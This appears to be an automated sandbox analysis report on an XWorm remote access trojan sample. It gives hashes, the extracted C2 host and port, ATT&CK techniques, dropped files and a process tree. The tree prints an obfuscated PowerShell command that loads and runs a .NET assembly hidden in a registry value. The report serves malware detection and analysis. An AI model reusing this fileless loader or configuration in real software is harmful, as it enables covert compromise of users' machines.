xworm | 2e7a5721bdc47385d6ffea5ad7dee1ea7698df11cd54f704df24b8fcfde5d312

Analysis

max time kernel
150s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08/03/2025, 13:42

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General

Target

XClient14.exe
Size

502KB
MD5

f7e295893a193fa5c78b7fc877b0ac33
SHA1

97e368f7de2eed66cd5bcd015e414f1f74168fd5
SHA256

2e7a5721bdc47385d6ffea5ad7dee1ea7698df11cd54f704df24b8fcfde5d312
SHA512

2d20b86f08aadf594ba126ec6d296f7be4ad60daa6e2872705e746f93b481e1e6cf42d3097f24157b615f73926bbe70cdf85e7bb808e6dff2a17288056482e11
SSDEEP

12288:z3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd:TkGTy

Score

10^/10

xworm defense_evasion discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

york-beach.gl.at.ply.gg:48693

Mutex

AatyhInQ27o3OUKx

Attributes

Install_directory
%AppData%
install_file
DeadM.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000012102-5.dat	family_xworm
behavioral1/memory/1784-8-0x0000000000390000-0x00000000003A0000-memory.dmp	family_xworm

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2968 created 432	2968	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Executes dropped EXE 4 IoCs

pid	Process
2500	DeadMkhi.exe
1784	DeadMkhi.exe
2724	DeadR.exe
2452	DeadR.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2968	powershell.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2968 set thread context of 2784	2968	powershell.EXE	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DeadR.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30c60be82f90db01	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2968	powershell.EXE
2968	powershell.EXE
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe
2784	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1784	DeadMkhi.exe
Token: SeDebugPrivilege	2500	DeadMkhi.exe
Token: SeDebugPrivilege	2968	powershell.EXE
Token: SeDebugPrivilege	2968	powershell.EXE
Token: SeDebugPrivilege	2784	dllhost.exe
Token: SeAuditPrivilege	856	svchost.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 2500	1272	XClient14.exe	30
PID 1272 wrote to memory of 2500	1272	XClient14.exe	30
PID 1272 wrote to memory of 2500	1272	XClient14.exe	30
PID 1272 wrote to memory of 1784	1272	XClient14.exe	31
PID 1272 wrote to memory of 1784	1272	XClient14.exe	31
PID 1272 wrote to memory of 1784	1272	XClient14.exe	31
PID 1272 wrote to memory of 2452	1272	XClient14.exe	32
PID 1272 wrote to memory of 2452	1272	XClient14.exe	32
PID 1272 wrote to memory of 2452	1272	XClient14.exe	32
PID 1272 wrote to memory of 2452	1272	XClient14.exe	32
PID 1272 wrote to memory of 2724	1272	XClient14.exe	33
PID 1272 wrote to memory of 2724	1272	XClient14.exe	33
PID 1272 wrote to memory of 2724	1272	XClient14.exe	33
PID 1272 wrote to memory of 2724	1272	XClient14.exe	33
PID 2688 wrote to memory of 2968	2688	taskeng.exe	35
PID 2688 wrote to memory of 2968	2688	taskeng.exe	35
PID 2688 wrote to memory of 2968	2688	taskeng.exe	35
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2968 wrote to memory of 2784	2968	powershell.EXE	37
PID 2784 wrote to memory of 432	2784	dllhost.exe	5
PID 2784 wrote to memory of 476	2784	dllhost.exe	6
PID 2784 wrote to memory of 492	2784	dllhost.exe	7
PID 2784 wrote to memory of 500	2784	dllhost.exe	8
PID 2784 wrote to memory of 604	2784	dllhost.exe	9
PID 2784 wrote to memory of 680	2784	dllhost.exe	10
PID 2784 wrote to memory of 752	2784	dllhost.exe	11
PID 2784 wrote to memory of 816	2784	dllhost.exe	12
PID 2784 wrote to memory of 856	2784	dllhost.exe	13
PID 2784 wrote to memory of 984	2784	dllhost.exe	15
PID 2784 wrote to memory of 280	2784	dllhost.exe	16
PID 2784 wrote to memory of 324	2784	dllhost.exe	17
PID 2784 wrote to memory of 1068	2784	dllhost.exe	18
PID 2784 wrote to memory of 1108	2784	dllhost.exe	19
PID 2784 wrote to memory of 1160	2784	dllhost.exe	20
PID 2784 wrote to memory of 1196	2784	dllhost.exe	21
PID 2784 wrote to memory of 2036	2784	dllhost.exe	23
PID 2784 wrote to memory of 864	2784	dllhost.exe	24
PID 2784 wrote to memory of 1572	2784	dllhost.exe	25
PID 2784 wrote to memory of 2348	2784	dllhost.exe	26
PID 2784 wrote to memory of 2244	2784	dllhost.exe	27
PID 2784 wrote to memory of 2500	2784	dllhost.exe	30
PID 2784 wrote to memory of 1784	2784	dllhost.exe	31
PID 2784 wrote to memory of 2688	2784	dllhost.exe	34

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d6cde177-33ff-4d65-abae-8b7bdee47249}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:604
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:2036
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1572
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:680
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:752
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:816
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1160
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {D666AD11-64B7-4357-AB47-98509453407A} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+'D'+'e'+[Char](97)+''+[Char](100)+''+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2968
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:984
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:280
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:324
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1068
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1108
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:864
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2348
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2244

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\XClient14.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient14.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Users\Admin\AppData\Local\Temp\DeadMkhi.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMkhi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- - C:\Users\Admin\AppData\Local\Temp\DeadMkhi.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMkhi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2452
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DeadMkhi.exe

Filesize
35KB

MD5
38421077d5d28e9b9a4d2ed927c41e77

SHA1
ca299eadb3951d9dae97abc506ba3055f4cb8a69

SHA256
5327f34d200411695ac0901d86aa5a245e8c3cf2282c3813789b027c5e7010d1

SHA512
bb74b86a412d2829085cdbbdc5b9aa3b0ec21b2ea1b7e33bd96aae93fc651785ced3c1ade0d745a90d4a6e6ccd80d3b8b3381795b302cc72388513b20f1cc399

Download Submit
C:\Users\Admin\AppData\Local\Temp\DeadR.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
memory/432-38-0x00000000003A0000-0x00000000003C7000-memory.dmp

Filesize
156KB

Download
memory/432-39-0x00000000003A0000-0x00000000003C7000-memory.dmp

Filesize
156KB

Download
memory/432-45-0x00000000003A0000-0x00000000003C7000-memory.dmp

Filesize
156KB

Download
memory/432-46-0x000007FEBDC90000-0x000007FEBDCA0000-memory.dmp

Filesize
64KB

Download
memory/432-47-0x00000000379E0000-0x00000000379F0000-memory.dmp

Filesize
64KB

Download
memory/432-35-0x0000000000370000-0x0000000000392000-memory.dmp

Filesize
136KB

Download
memory/432-37-0x0000000000370000-0x0000000000392000-memory.dmp

Filesize
136KB

Download
memory/476-53-0x00000000000A0000-0x00000000000C7000-memory.dmp

Filesize
156KB

Download
memory/476-60-0x000007FEBDC90000-0x000007FEBDCA0000-memory.dmp

Filesize
64KB

Download
memory/476-59-0x00000000000A0000-0x00000000000C7000-memory.dmp

Filesize
156KB

Download
memory/476-61-0x00000000379E0000-0x00000000379F0000-memory.dmp

Filesize
64KB

Download
memory/492-75-0x00000000379E0000-0x00000000379F0000-memory.dmp

Filesize
64KB

Download
memory/492-74-0x000007FEBDC90000-0x000007FEBDCA0000-memory.dmp

Filesize
64KB

Download
memory/492-73-0x00000000000C0000-0x00000000000E7000-memory.dmp

Filesize
156KB

Download
memory/492-67-0x00000000000C0000-0x00000000000E7000-memory.dmp

Filesize
156KB

Download
memory/500-81-0x0000000000920000-0x0000000000947000-memory.dmp

Filesize
156KB

Download
memory/1272-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmp

Filesize
4KB

Download
memory/1272-1-0x00000000001B0000-0x0000000000234000-memory.dmp

Filesize
528KB

Download
memory/1784-8-0x0000000000390000-0x00000000003A0000-memory.dmp

Filesize
64KB

Download
memory/2500-18-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2500-195-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2784-31-0x0000000077880000-0x000000007799F000-memory.dmp

Filesize
1.1MB

Download
memory/2784-32-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2784-30-0x00000000779A0000-0x0000000077B49000-memory.dmp

Filesize
1.7MB

Download
memory/2784-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2784-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2784-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2784-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2784-27-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2968-19-0x0000000019E10000-0x000000001A0F2000-memory.dmp

Filesize
2.9MB

Download
memory/2968-20-0x0000000000DD0000-0x0000000000DD8000-memory.dmp

Filesize
32KB

Download
memory/2968-21-0x000000001A350000-0x000000001A378000-memory.dmp

Filesize
160KB

Download
memory/2968-22-0x00000000779A0000-0x0000000077B49000-memory.dmp

Filesize
1.7MB

Download
memory/2968-23-0x0000000077880000-0x000000007799F000-memory.dmp

Filesize
1.1MB

Download